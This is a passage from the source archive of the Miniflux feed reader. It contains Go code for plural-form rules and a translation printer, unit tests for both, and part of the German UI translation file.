var pluralForms = map[string](func(n int) int){
// nplurals=2; plural=(n != 1);
"default": func(n int) int {
if n != 1 {
return 1
}
return 0
},
// nplurals=6; plural=(n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 ? 4 : 5);
"ar_AR": func(n int) int {
switch {
case n == 0:
return 0
case n == 1:
return 1
case n == 2:
return 2
case n%100 >= 3 && n%100 <= 10:
return 3
case n%100 >= 11:
return 4
}
return 5
},
// nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;
"cs_CZ": func(n int) int {
switch {
case n == 1:
return 0
case n >= 2 && n <= 4:
return 1
}
return 2
},
// nplurals=2; plural=(n > 1);
"fr_FR": func(n int) int {
if n > 1 {
return 1
}
return 0
},
// nplurals=1; plural=0;
"id_ID": func(n int) int {
return 0
},
// nplurals=1; plural=0;
"ja_JP": func(n int) int {
return 0
},
// nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
"pl_PL": func(n int) int {
switch {
case n == 1:
return 0
case n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20):
return 1
}
return 2
},
// nplurals=2; plural=(n > 1);
"pt_BR": func(n int) int {
if n > 1 {
return 1
}
return 0
},
"ru_RU": pluralFormRuSrUa,
// nplurals=2; plural=(n > 1);
"tr_TR": func(n int) int {
if n > 1 {
return 1
}
return 0
},
"uk_UA": pluralFormRuSrUa,
"sr_RS": pluralFormRuSrUa,
// nplurals=1; plural=0;
"zh_CN": func(n int) int {
return 0
},
"zh_TW": func(n int) int {
return 0
},
}
// nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
func pluralFormRuSrUa(n int) int {
switch {
case n%10 == 1 && n%100 != 11:
return 0
case n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20):
return 1
}
return 2
}
v2-2.2.5/internal/locale/plural_test.go 0000664 0000000 0000000 00000002252 14743520056 0020016 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "testing"
func TestPluralRules(t *testing.T) {
scenarios := map[string]map[int]int{
"default": {
1: 0,
2: 1,
5: 1,
},
"ar_AR": {
0: 0,
1: 1,
2: 2,
5: 3,
11: 4,
200: 5,
},
"cs_CZ": {
1: 0,
2: 1,
5: 2,
},
"fr_FR": {
1: 0,
2: 1,
5: 1,
},
"id_ID": {
1: 0,
5: 0,
},
"ja_JP": {
1: 0,
2: 0,
5: 0,
},
"pl_PL": {
1: 0,
2: 1,
5: 2,
},
"pt_BR": {
1: 0,
2: 1,
5: 1,
},
"ru_RU": {
1: 0,
2: 1,
5: 2,
},
"sr_RS": {
1: 0,
2: 1,
5: 2,
},
"tr_TR": {
1: 0,
2: 1,
5: 1,
},
"uk_UA": {
1: 0,
2: 1,
5: 2,
},
"zh_CN": {
1: 0,
5: 0,
},
"zh_TW": {
1: 0,
5: 0,
},
}
for rule, values := range scenarios {
for input, expected := range values {
result := pluralForms[rule](input)
if result != expected {
t.Errorf(`Unexpected result for %q rule, got %d instead of %d for %d as input`, rule, result, expected, input)
}
}
}
}
v2-2.2.5/internal/locale/printer.go 0000664 0000000 0000000 00000003361 14743520056 0017145 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "fmt"
// Printer converts translation keys to language-specific strings.
type Printer struct {
language string
}
func (p *Printer) Print(key string) string {
if dict, err := GetTranslationDict(p.language); err == nil {
if str, ok := dict[key]; ok {
if translation, ok := str.(string); ok {
return translation
}
}
}
return key
}
// Printf is like fmt.Printf, but using language-specific formatting.
func (p *Printer) Printf(key string, args ...interface{}) string {
translation := key
if dict, err := GetTranslationDict(p.language); err == nil {
str, found := dict[key]
if found {
var valid bool
translation, valid = str.(string)
if !valid {
translation = key
}
}
}
return fmt.Sprintf(translation, args...)
}
// Plural returns the translation of the given key by using the language plural form.
func (p *Printer) Plural(key string, n int, args ...interface{}) string {
dict, err := GetTranslationDict(p.language)
if err != nil {
return key
}
if choices, found := dict[key]; found {
var plurals []string
switch v := choices.(type) {
case []interface{}:
for _, v := range v {
plurals = append(plurals, fmt.Sprint(v))
}
case []string:
plurals = v
default:
return key
}
pluralForm, found := pluralForms[p.language]
if !found {
pluralForm = pluralForms["default"]
}
index := pluralForm(n)
if len(plurals) > index {
return fmt.Sprintf(plurals[index], args...)
}
}
return key
}
// NewPrinter creates a new Printer.
func NewPrinter(language string) *Printer {
return &Printer{language}
}
v2-2.2.5/internal/locale/printer_test.go 0000664 0000000 0000000 00000011177 14743520056 0020210 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package locale // import "miniflux.app/v2/internal/locale"
import "testing"
func TestTranslateWithMissingLanguage(t *testing.T) {
defaultCatalog = catalog{}
translation := NewPrinter("invalid").Printf("missing.key")
if translation != "missing.key" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslateWithMissingKey(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"k": "v",
},
}
translation := NewPrinter("en_US").Printf("missing.key")
if translation != "missing.key" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslateWithExistingKey(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"auth.username": "Login",
},
}
translation := NewPrinter("en_US").Printf("auth.username")
if translation != "Login" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslateWithExistingKeyAndPlaceholder(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"key": "Test: %s",
},
"fr_FR": translationDict{
"key": "Test : %s",
},
}
translation := NewPrinter("fr_FR").Printf("key", "ok")
if translation != "Test : ok" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslateWithMissingKeyAndPlaceholder(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"auth.username": "Login",
},
"fr_FR": translationDict{
"auth.username": "Identifiant",
},
}
translation := NewPrinter("fr_FR").Printf("Status: %s", "ok")
if translation != "Status: ok" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslateWithInvalidValue(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"auth.username": "Login",
},
"fr_FR": translationDict{
"auth.username": true,
},
}
translation := NewPrinter("fr_FR").Printf("auth.username")
if translation != "auth.username" {
t.Errorf(`Wrong translation, got %q`, translation)
}
}
func TestTranslatePluralWithDefaultRule(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"number_of_users": []string{"%d user (%s)", "%d users (%s)"},
},
"fr_FR": translationDict{
"number_of_users": []string{"%d utilisateur (%s)", "%d utilisateurs (%s)"},
},
}
printer := NewPrinter("fr_FR")
translation := printer.Plural("number_of_users", 1, 1, "some text")
expected := "1 utilisateur (some text)"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
translation = printer.Plural("number_of_users", 2, 2, "some text")
expected = "2 utilisateurs (some text)"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
}
func TestTranslatePluralWithRussianRule(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"time_elapsed.years": []string{"%d year", "%d years"},
},
"ru_RU": translationDict{
"time_elapsed.years": []string{"%d год назад", "%d года назад", "%d лет назад"},
},
}
printer := NewPrinter("ru_RU")
translation := printer.Plural("time_elapsed.years", 1, 1)
expected := "1 год назад"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
translation = printer.Plural("time_elapsed.years", 2, 2)
expected = "2 года назад"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
translation = printer.Plural("time_elapsed.years", 5, 5)
expected = "5 лет назад"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
}
func TestTranslatePluralWithMissingTranslation(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"number_of_users": []string{"%d user (%s)", "%d users (%s)"},
},
"fr_FR": translationDict{},
}
translation := NewPrinter("fr_FR").Plural("number_of_users", 2)
expected := "number_of_users"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
}
func TestTranslatePluralWithInvalidValues(t *testing.T) {
defaultCatalog = catalog{
"en_US": translationDict{
"number_of_users": []string{"%d user (%s)", "%d users (%s)"},
},
"fr_FR": translationDict{
"number_of_users": "must be a slice",
},
}
translation := NewPrinter("fr_FR").Plural("number_of_users", 2)
expected := "number_of_users"
if translation != expected {
t.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)
}
}
v2-2.2.5/internal/locale/translations/ 0000775 0000000 0000000 00000000000 14743520056 0017651 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/locale/translations/de_DE.json 0000664 0000000 0000000 00000110562 14743520056 0021511 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Zum Inhalt springen",
"confirm.question": "Sind Sie sicher?",
"confirm.question.refresh": "Möchten Sie eine erzwungene Aktualisierung durchführen?",
"confirm.yes": "ja",
"confirm.no": "nein",
"confirm.loading": "In Arbeit...",
"action.subscribe": "Abonnieren",
"action.save": "Speichern",
"action.or": "oder",
"action.cancel": "abbrechen",
"action.remove": "Entfernen",
"action.remove_feed": "Dieses Abonnement entfernen",
"action.update": "Aktualisieren",
"action.edit": "Bearbeiten",
"action.download": "Herunterladen",
"action.import": "Importieren",
"action.login": "Anmelden",
"action.home_screen": "Zum Startbildschirm hinzufügen",
"tooltip.keyboard_shortcuts": "Tastenkürzel: %s",
"tooltip.logged_user": "Angemeldet als %s",
"menu.title": "Menu",
"menu.home_page": "Startseite",
"menu.unread": "Ungelesen",
"menu.starred": "Lesezeichen",
"menu.history": "Verlauf",
"menu.feeds": "Abonnements",
"menu.categories": "Kategorien",
"menu.settings": "Einstellungen",
"menu.logout": "Abmelden",
"menu.preferences": "Einstellungen",
"menu.integrations": "Dienste",
"menu.sessions": "Sitzungen",
"menu.users": "Benutzer",
"menu.about": "Über",
"menu.export": "Exportieren",
"menu.import": "Importieren",
"menu.search": "Suche",
"menu.create_category": "Kategorie anlegen",
"menu.mark_page_as_read": "Diese Seite als gelesen markieren",
"menu.mark_all_as_read": "Alle als gelesen markieren",
"menu.show_all_entries": "Zeige alle Artikel",
"menu.show_only_unread_entries": "Nur ungelesene Artikel anzeigen",
"menu.show_only_starred_entries": "Nur markierte Artikel anzeigen",
"menu.refresh_feed": "Aktualisieren",
"menu.refresh_all_feeds": "Alle Abonnements im Hintergrund aktualisieren",
"menu.edit_feed": "Bearbeiten",
"menu.edit_category": "Bearbeiten",
"menu.add_feed": "Abonnement hinzufügen",
"menu.add_user": "Benutzer anlegen",
"menu.flush_history": "Verlauf leeren",
"menu.feed_entries": "Artikel",
"menu.api_keys": "API-Schlüssel",
"menu.create_api_key": "Erstellen Sie einen neuen API-Schlüssel",
"menu.shared_entries": "Geteilte Artikel",
"search.label": "Suche",
"search.placeholder": "Suche...",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Nächste",
"pagination.first": "First",
"pagination.previous": "Vorherige",
"entry.status.unread": "Ungelesen",
"entry.status.read": "Gelesen",
"entry.status.toast.unread": "Als ungelesen markiert",
"entry.status.toast.read": "Als gelesen markiert",
"entry.status.title": "Status des Artikels ändern",
"entry.bookmark.toggle.on": "Lesezeichen hinzufügen",
"entry.bookmark.toggle.off": "Lesezeichen entfernen",
"entry.bookmark.toast.on": "Markiert",
"entry.bookmark.toast.off": "Nicht markiert",
"entry.state.saving": "Speichern...",
"entry.state.loading": "Lade...",
"entry.save.label": "Speichern",
"entry.save.title": "Diesen Artikel speichern",
"entry.save.completed": "Erledigt!",
"entry.save.toast.completed": "Artikel gespeichert",
"entry.scraper.label": "Herunterladen",
"entry.scraper.title": "Inhalt herunterladen",
"entry.scraper.completed": "Erledigt!",
"entry.external_link.label": "Externer Link",
"entry.comments.label": "Kommentare",
"entry.comments.title": "Kommentare anzeigen",
"entry.share.label": "Teilen",
"entry.share.title": "Diesen Artikel teilen",
"entry.unshare.label": "Nicht teilen",
"entry.shared_entry.title": "Öffnen Sie den öffentlichen Link",
"entry.shared_entry.label": "Teilen",
"entry.estimated_reading_time": [
"%d Minute zu lesen",
"%d Minuten zu lesen"
],
"entry.tags.label": "Stichworte:",
"page.shared_entries.title": "Geteilte Artikel",
"page.shared_entries_count": [
"%d geteilter Artikel",
"%d geteilte Artikel"
],
"page.unread.title": "Ungelesen",
"page.unread_entry_count": [
"%d ungelesener Artikel",
"%d ungelesene Artikel"
],
"page.total_entry_count": [
"%d Artikel insgesamt",
"%d Artikel insgesamt"
],
"page.starred.title": "Lesezeichen",
"page.starred_entry_count": [
"%d Lesezeichen",
"%d Lesezeichen"
],
"page.categories.title": "Kategorien",
"page.categories.no_feed": "Kein Abonnement.",
"page.categories.entries": "Artikel",
"page.categories.feeds": "Abonnements",
"page.categories.feed_count": [
"Es gibt %d Abonnement.",
"Es gibt %d Abonnements."
],
"page.categories_count": [
"%d Kategorie",
"%d Kategorien"
],
"page.new_category.title": "Neue Kategorie",
"page.new_user.title": "Neuer Benutzer",
"page.edit_category.title": "Kategorie bearbeiten: %s",
"page.edit_user.title": "Benutzer bearbeiten: %s",
"page.feeds.title": "Abonnements",
"page.category_label": "Kategorie: %s",
"page.feeds.last_check": "Letzte Aktualisierung:",
"page.feeds.next_check": "Nächste Aktualisierung:",
"page.feeds.read_counter": "Anzahl der gelesenen Artikel",
"page.feeds.error_count": [
"%d Fehler",
"%d Fehler"
],
"page.history.title": "Verlauf",
"page.read_entry_count": [
"%d gelesener Artikel",
"%d gelesene Artikel"
],
"page.import.title": "Importieren",
"page.search.title": "Suchergebnisse",
"page.about.title": "Über",
"page.about.credits": "Urheberrechte",
"page.about.version": "Version:",
"page.about.build_date": "Datum der Kompilierung:",
"page.about.author": "Autor:",
"page.about.license": "Lizenz:",
"page.about.global_config_options": "Globale Konfigurationsoptionen",
"page.about.postgres_version": "Postgres-Version:",
"page.about.go_version": "Go-Version:",
"page.add_feed.title": "Neues Abonnement",
"page.add_feed.no_category": "Es ist keine Kategorie vorhanden. Wenigstens eine Kategorie muss angelegt sein.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Abonnement finden",
"page.add_feed.legend.advanced_options": "Erweiterte Optionen",
"page.add_feed.choose_feed": "Abonnement auswählen",
"page.edit_feed.title": "Abonnement bearbeiten: %s",
"page.edit_feed.last_check": "Letzte Aktualisierung:",
"page.edit_feed.last_modified_header": "Zuletzt geändert:",
"page.edit_feed.etag_header": "ETag-Kopfzeile:",
"page.edit_feed.no_header": "Nicht verfügbar",
"page.edit_feed.last_parsing_error": "Letzter Analysefehler",
"page.entry.attachments": "Anhänge",
"page.keyboard_shortcuts.title": "Tastenkürzel",
"page.keyboard_shortcuts.subtitle.sections": "Navigation zwischen den Menüpunkten",
"page.keyboard_shortcuts.subtitle.items": "Navigation zwischen den Artikeln",
"page.keyboard_shortcuts.subtitle.pages": "Navigation zwischen den Seiten",
"page.keyboard_shortcuts.subtitle.actions": "Aktionen",
"page.keyboard_shortcuts.go_to_unread": "Zu den ungelesenen Artikeln gehen",
"page.keyboard_shortcuts.go_to_starred": "Zu den Lesezeichen gehen",
"page.keyboard_shortcuts.go_to_history": "Zum Verlauf gehen",
"page.keyboard_shortcuts.go_to_feeds": "Zu den Abonnements gehen",
"page.keyboard_shortcuts.go_to_categories": "Zu den Kategorien gehen",
"page.keyboard_shortcuts.go_to_settings": "Zu den Einstellungen gehen",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Liste der Tastenkürzel anzeigen",
"page.keyboard_shortcuts.go_to_previous_item": "Zum vorherigen Artikel gehen",
"page.keyboard_shortcuts.go_to_next_item": "Zum nächsten Artikel gehen",
"page.keyboard_shortcuts.go_to_feed": "Zum Abonnement gehen",
"page.keyboard_shortcuts.go_to_previous_page": "Zur vorherigen Seite gehen",
"page.keyboard_shortcuts.go_to_next_page": "Zur nächsten Seite gehen",
"page.keyboard_shortcuts.go_to_bottom_item": "Gehen Sie zum untersten Element",
"page.keyboard_shortcuts.go_to_top_item": "Zum obersten Artikel gehen",
"page.keyboard_shortcuts.open_item": "Gewählten Artikel öffnen",
"page.keyboard_shortcuts.open_original": "Original-Artikel öffnen",
"page.keyboard_shortcuts.open_original_same_window": "Öffne den Original-Link in der aktuellen Registerkarte",
"page.keyboard_shortcuts.open_comments": "Kommentare öffnen",
"page.keyboard_shortcuts.open_comments_same_window": "Öffne den Kommentare-Link in der aktuellen Registerkarte",
"page.keyboard_shortcuts.toggle_read_status_next": "Gewählten Artikel als gelesen/ungelesen markieren, fokus als nächstes",
"page.keyboard_shortcuts.toggle_read_status_prev": "Gewählten Artikel als gelesen/ungelesen markieren, fokus vorherige",
"page.keyboard_shortcuts.refresh_all_feeds": "Alle Abonnements im Hintergrund aktualisieren",
"page.keyboard_shortcuts.mark_page_as_read": "Aktuelle Seite als gelesen markieren",
"page.keyboard_shortcuts.download_content": "Vollständigen Inhalt herunterladen",
"page.keyboard_shortcuts.toggle_bookmark_status": "Lesezeichen hinzufügen/entfernen",
"page.keyboard_shortcuts.save_article": "Artikel speichern",
"page.keyboard_shortcuts.scroll_item_to_top": "Artikel an den Anfang blättern",
"page.keyboard_shortcuts.remove_feed": "Dieses Abonnement entfernen",
"page.keyboard_shortcuts.go_to_search": "Fokus auf das Suchformular setzen",
"page.keyboard_shortcuts.toggle_entry_attachments": "Artikelanhänge öffnen/schließen",
"page.keyboard_shortcuts.close_modal": "Liste der Tastenkürzel schließen",
"page.users.title": "Benutzer",
"page.users.username": "Benutzername",
"page.users.never_logged": "Niemals",
"page.users.admin.yes": "Ja",
"page.users.admin.no": "Nein",
"page.users.actions": "Aktionen",
"page.users.last_login": "Letzte Anmeldung",
"page.users.is_admin": "Administrator",
"page.settings.title": "Einstellungen",
"page.settings.link_google_account": "Google-Konto verknüpfen",
"page.settings.unlink_google_account": "Verknüpfung mit Google-Konto entfernen",
"page.settings.link_oidc_account": "%s-Konto verknüpfen",
"page.settings.unlink_oidc_account": "Verknüpfung mit %s-Konto entfernen",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Aktionen",
"page.settings.webauthn.passkey_name": "Name des Passkeys",
"page.settings.webauthn.added_on": "Hinzugefügt am",
"page.settings.webauthn.last_seen_on": "Zuletzt genutzt",
"page.settings.webauthn.register": "Hauptschlüssel registrieren",
"page.settings.webauthn.register.error": "Hauptschlüssel kann nicht registriert werden",
"page.login.webauthn_login.help": "Bitte geben Sie Ihren Benutzernamen ein, sofern Sie einen Sicherheitsschlüssel verwenden. Dies ist nicht nötig, wenn Sie einen Passkey verwenden (auffindbare Anmeldeinformationen).",
"page.settings.webauthn.delete": [
"Entfernen Sie %d Hauptschlüssel",
"%d Hauptschlüssel entfernen"
],
"page.login.title": "Anmeldung",
"page.login.google_signin": "Anmeldung mit Google",
"page.login.oidc_signin": "Anmeldung mit %s",
"page.login.webauthn_login": "Melden Sie sich mit dem Passkey an",
"page.login.webauthn_login.error": "Anmeldung mit Passkey nicht möglich",
"page.integrations.title": "Dienste",
"page.integration.miniflux_api": "Miniflux-API",
"page.integration.miniflux_api_endpoint": "API-Endpunkt",
"page.integration.miniflux_api_username": "Benutzername",
"page.integration.miniflux_api_password": "Passwort",
"page.integration.miniflux_api_password_value": "Ihr Konto-Passwort",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Mit Miniflux abonnieren",
"page.integration.bookmarklet.instructions": "Ziehen Sie diesen Link in Ihre Lesezeichen.",
"page.integration.bookmarklet.help": "Dieser spezielle Link ermöglicht es, eine Webseite direkt über ein Lesezeichen im Browser zu abonnieren.",
"page.sessions.title": "Sitzungen",
"page.sessions.table.date": "Datum",
"page.sessions.table.ip": "IP-Addresse",
"page.sessions.table.user_agent": "Benutzeragent",
"page.sessions.table.actions": "Aktionen",
"page.sessions.table.current_session": "Aktuelle Sitzung",
"page.api_keys.title": "API-Schlüssel",
"page.api_keys.table.description": "Beschreibung",
"page.api_keys.table.token": "Zeichen",
"page.api_keys.table.last_used_at": "Zuletzt verwendeten",
"page.api_keys.table.created_at": "Erstellungsdatum",
"page.api_keys.table.actions": "Aktionen",
"page.api_keys.never_used": "Nie benutzt",
"page.new_api_key.title": "Neuer API-Schlüssel",
"page.offline.title": "Offline-Modus",
"page.offline.message": "Sie sind offline",
"page.offline.refresh_page": "Versuchen Sie, die Seite zu aktualisieren",
"page.webauthn_rename.title": "Passkey umbenennen",
"alert.no_shared_entry": "Es existieren derzeit keine geteilten Artikel.",
"alert.no_bookmark": "Es existiert derzeit kein Lesezeichen.",
"alert.no_category": "Es ist keine Kategorie vorhanden.",
"alert.no_category_entry": "Es befindet sich kein Artikel in dieser Kategorie.",
"alert.no_tag_entry": "Es gibt keine Artikel, die diesem Tag entsprechen.",
"alert.no_feed_entry": "Es existiert kein Artikel für dieses Abonnement.",
"alert.no_feed": "Es sind keine Abonnements vorhanden.",
"alert.no_feed_in_category": "Für diese Kategorie gibt es kein Abonnement.",
"alert.no_history": "Es existiert zur Zeit kein Verlauf.",
"alert.feed_error": "Es gibt ein Problem mit diesem Abonnement",
"alert.no_search_result": "Es gibt kein Ergebnis für diese Suche.",
"alert.no_unread_entry": "Es existiert kein ungelesener Artikel.",
"alert.no_user": "Sie sind der einzige Benutzer.",
"alert.account_unlinked": "Ihr externer Account ist jetzt getrennt!",
"alert.account_linked": "Ihr externes Konto wurde verknüpft!",
"alert.pocket_linked": "Ihr Pocket-Konto ist jetzt verknüpft!",
"alert.prefs_saved": "Einstellungen gespeichert!",
"error.unlink_account_without_password": "Sie müssen ein Passwort festlegen, sonst können Sie sich nicht erneut anmelden.",
"error.duplicate_linked_account": "Es ist bereits jemand mit diesem Anbieter assoziiert!",
"error.duplicate_fever_username": "Es existiert bereits jemand mit diesem Fever-Benutzernamen!",
"error.duplicate_googlereader_username": "Es existiert bereits jemand mit diesem Google-Reader-Benutzernamen!",
"error.pocket_request_token": "Anfrage-Token konnte nicht von Pocket abgerufen werden!",
"error.pocket_access_token": "Zugriffstoken konnte nicht von Pocket abgerufen werden!",
"error.category_already_exists": "Diese Kategorie existiert bereits.",
"error.unable_to_create_category": "Diese Kategorie konnte nicht angelegt werden.",
"error.unable_to_update_category": "Diese Kategorie konnte nicht aktualisiert werden.",
"error.user_already_exists": "Dieser Benutzer existiert bereits.",
"error.unable_to_create_user": "Dieser Benutzer kann nicht erstellt werden.",
"error.unable_to_update_user": "Dieser Benutzer konnte nicht aktualisiert werden.",
"error.unable_to_update_feed": "Dieses Abonnement konnte nicht aktualisiert werden.",
"error.subscription_not_found": "Es wurden keine Abonnements gefunden.",
"error.invalid_theme": "Ungültiges Thema.",
"error.invalid_language": "Ungültige Sprache.",
"error.invalid_timezone": "Ungültige Zeitzone.",
"error.invalid_entry_direction": "Ungültige Sortierreihenfolge.",
"error.invalid_display_mode": "Progressive-Web-App- (PWA-)Anzeigemodus",
"error.invalid_gesture_nav": "Ungültige Gestennavigation.",
"error.invalid_default_home_page": "Ungültige Standard-Startseite!",
"error.empty_file": "Diese Datei ist leer.",
"error.bad_credentials": "Benutzername oder Passwort ungültig.",
"error.fields_mandatory": "Alle Felder sind obligatorisch.",
"error.title_required": "Der Titel ist obligatorisch.",
"error.different_passwords": "Passwörter stimmen nicht überein.",
"error.password_min_length": "Wenigstens 6 Zeichen müssen genutzt werden.",
"error.settings_mandatory_fields": "Die Felder für Benutzername, Thema, Sprache und Zeitzone sind obligatorisch.",
"error.settings_reading_speed_is_positive": "Die Lesegeschwindigkeiten müssen positive ganze Zahlen sein.",
"error.settings_block_rule_fieldname_invalid": "Ungültige Blockierregel: Regel #%d hat keinen gültigen Feldnamen (Optionen: %s)",
"error.settings_block_rule_separator_required": "Ungültige Blockierregel: Das Muster für Regel #%d muss per '=' getrennt werden",
"error.settings_block_rule_regex_required": "Ungültige Blockierregel: Regel #%d hat kein Muster",
"error.settings_block_rule_invalid_regex": "Ungültige Blockierregel: Das Muster für Regel #%d ist kein zulässiger regulärer Ausdruck",
"error.settings_keep_rule_fieldname_invalid": "Ungültige Erlaubnisregel: Regel #%d hat keinen gültigen Feldnamen (Optionen: %s)",
"error.settings_keep_rule_separator_required": "Ungültige Erlaubnisregel: Das Muster für Regel #%d muss per '=' getrennt werden",
"error.settings_keep_rule_regex_required": "Ungültige Erlaubnisregel: Regel #%d hat kein Muster",
"error.settings_keep_rule_invalid_regex": "Ungültige Erlaubnisregel: Das Muster für Regel #%d ist kein zulässiger regulärer Ausdruck",
"error.entries_per_page_invalid": "Die Anzahl der Einträge pro Seite ist ungültig.",
"error.feed_mandatory_fields": "Die URL und die Kategorie sind obligatorisch.",
"error.feed_already_exists": "Dieser Feed existiert bereits.",
"error.invalid_feed_url": "Ungültiger Feed-URL.",
"error.invalid_site_url": "Ungültiger Site-URL.",
"error.feed_url_not_empty": "Der Feed-URL darf nicht leer sein.",
"error.site_url_not_empty": "Der Site-URL darf nicht leer sein.",
"error.feed_title_not_empty": "Der Feed-Titel darf nicht leer sein.",
"error.feed_category_not_found": "Diese Kategorie existiert nicht oder gehört nicht zu diesem Benutzer.",
"error.feed_invalid_blocklist_rule": "Die Blockierregel ist ungültig.",
"error.feed_invalid_keeplist_rule": "Die Erlaubnisregel ist ungültig.",
"error.user_mandatory_fields": "Der Benutzername ist obligatorisch.",
"error.api_key_already_exists": "Dieser API-Schlüssel ist bereits vorhanden.",
"error.unable_to_create_api_key": "Dieser API-Schlüssel kann nicht erstellt werden.",
"form.feed.label.title": "Titel",
"form.feed.label.site_url": "URL der Webseite",
"form.feed.label.feed_url": "URL des Abonnements",
"form.feed.label.description": "Beschreibung",
"form.feed.label.category": "Kategorie",
"form.feed.label.crawler": "Originalinhalt herunterladen",
"form.feed.label.feed_username": "Benutzername des Abonnements",
"form.feed.label.feed_password": "Passwort des Abonnements",
"form.feed.label.user_agent": "Standardbenutzeragenten überschreiben",
"form.feed.label.cookie": "Cookies setzen",
"form.feed.label.scraper_rules": "Extraktionsregeln",
"form.feed.label.rewrite_rules": "Umschreiberegeln",
"form.feed.label.apprise_service_urls": "Kommaseparierte Liste der Apprise-Service-URLs",
"form.feed.label.blocklist_rules": "Blockierregeln",
"form.feed.label.keeplist_rules": "Erlaubnisregeln",
"form.feed.label.urlrewrite_rules": "Umschreibregeln für URL",
"form.feed.label.ignore_http_cache": "Ignoriere HTTP-Cache",
"form.feed.label.allow_self_signed_certificates": "Erlaube selbstsignierte oder ungültige Zertifikate",
"form.feed.label.disable_http2": "HTTP/2 deaktivieren, um Fingerprinting zu verhindern",
"form.feed.label.fetch_via_proxy": "Über Proxy abrufen",
"form.feed.label.disabled": "Dieses Abonnement nicht aktualisieren",
"form.feed.label.no_media_player": "Kein Media-Player (Audio/Video)",
"form.feed.label.hide_globally": "Einträge in der globalen Ungelesen-Liste ausblenden",
"form.feed.label.ntfy_activate": "Einträge zu ntfy pushen",
"form.feed.label.ntfy_priority": "Ntfy-Priorität",
"form.feed.label.ntfy_max_priority": "Höchste Ntfy-Priorität",
"form.feed.label.ntfy_high_priority": "Hohe Ntfy-Priorität",
"form.feed.label.ntfy_default_priority": "Normale Ntfy-Priorität",
"form.feed.label.ntfy_low_priority": "Niedrige Ntfy-Priorität",
"form.feed.label.ntfy_min_priority": "Niedrigste Ntfy-Priorität",
"form.integration.cubox_activate": "Einträge in Cubox speichern",
"form.integration.cubox_api_link": "Cubox-API-Link",
"form.feed.fieldset.general": "Allgemein",
"form.feed.fieldset.rules": "Regeln",
"form.feed.fieldset.network_settings": "Netzwerkeinstellungen",
"form.feed.fieldset.integration": "Drittanbieter-Dienste",
"form.category.label.title": "Titel",
"form.category.hide_globally": "Einträge in der globalen Ungelesen-Liste ausblenden",
"form.user.label.username": "Benutzername",
"form.user.label.password": "Passwort",
"form.user.label.confirmation": "Passwortbestätigung",
"form.user.label.admin": "Administrator",
"form.prefs.label.language": "Sprache",
"form.prefs.label.timezone": "Zeitzone",
"form.prefs.label.theme": "Thema",
"form.prefs.label.entry_sorting": "Sortierung der Einträge",
"form.prefs.label.entries_per_page": "Einträge pro Seite",
"form.prefs.label.default_reading_speed": "Lesegeschwindigkeit für andere Sprachen (Wörter pro Minute)",
"form.prefs.label.cjk_reading_speed": "Lesegeschwindigkeit für Chinesisch, Koreanisch und Japanisch (Zeichen pro Minute)",
"form.prefs.label.display_mode": "Anzeigemodus der progressiven Web-Anwendung (PWA)",
"form.prefs.select.older_first": "Ältere Einträge zuerst",
"form.prefs.select.recent_first": "Neue Einträge zuerst",
"form.prefs.select.fullscreen": "Vollbildschirm",
"form.prefs.select.standalone": "Eigenständige",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.browser": "Browser",
"form.prefs.select.publish_time": "Artikel veröffentlicht am",
"form.prefs.select.created_time": "Artikel erstellt am",
"form.prefs.select.alphabetical": "Alphabetisch",
"form.prefs.select.unread_count": "Ungelesen",
"form.prefs.select.none": "Keine",
"form.prefs.select.tap": "Doppeltippen",
"form.prefs.select.swipe": "Wischen",
"form.prefs.label.keyboard_shortcuts": "Tastaturkürzel aktivieren",
"form.prefs.label.entry_swipe": "Aktivieren Sie das Wischen von Einträgen auf Touchscreens",
